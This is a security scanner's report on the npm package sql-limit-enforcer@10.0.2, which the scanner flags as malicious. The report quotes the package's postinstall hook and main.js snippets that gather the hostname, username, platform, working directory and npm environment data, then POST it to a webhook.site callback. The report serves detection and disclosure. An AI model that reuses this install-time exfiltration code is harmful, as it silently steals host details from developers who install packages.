sql-limit-enforcer@10.0.2: Malicious npm security report (Block)

Loading npm security reports…

sql-limit-enforcer@10.0.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node main.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

9"scripts": { "postinstall": "node main.js", "test": "echo \"Error: no test specified\" && exit 1" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs main.js during installation.

package.jsonView on unpkg · L9

main.jsView file

2L3: const https = require('https'); L4: const os = require('os'); ... L9: return { L10: hostname: os.hostname(), L11: user: os.userInfo().username, ... L15: node: process.version, L16: npm[redacted]: process.env.npm[redacted] || null, L17: src: 'mesbah-PoC', ... L39: req.on('error', (e) => console.error('[!] ' + (e.code || '') + ' ' + e.message)); L40: req.end(payload); L41: }

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

main.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> main.js const https = require('https'); const CALLBACK_URL = 'https://webhook.site/13d98b4a-1999-4ec7-92c9-0697c259ca05'; const payload = JSON.stringify(data); const req = https.request( method: 'POST', console.log('[+] HTTP ' + res.statusCode + ' — beacon delivered');

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

main.jsView on unpkg

8function gather() { return { hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), node: process.version, npm[redacted]: process.env.npm[redacted] || null, src: 'mesbah-PoC', }; }

High

Suspicious Lifecycle Evidence

main.js collects hostname, username, platform, working directory, Node version, and lifecycle environment data.

main.jsView on unpkg · L8

21function beacon(data) { const payload = JSON.stringify(data); const req = https.request( CALLBACK_URL, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload), }, timeout: 6000, }, (res) => { console.log('[+] HTTP ' + res.statusCode + ' — beacon delivered'); res.resume(); } );

High

Ai Review Evidence

The collected host data is POSTed to a fixed webhook.site callback.

main.jsView on unpkg · L21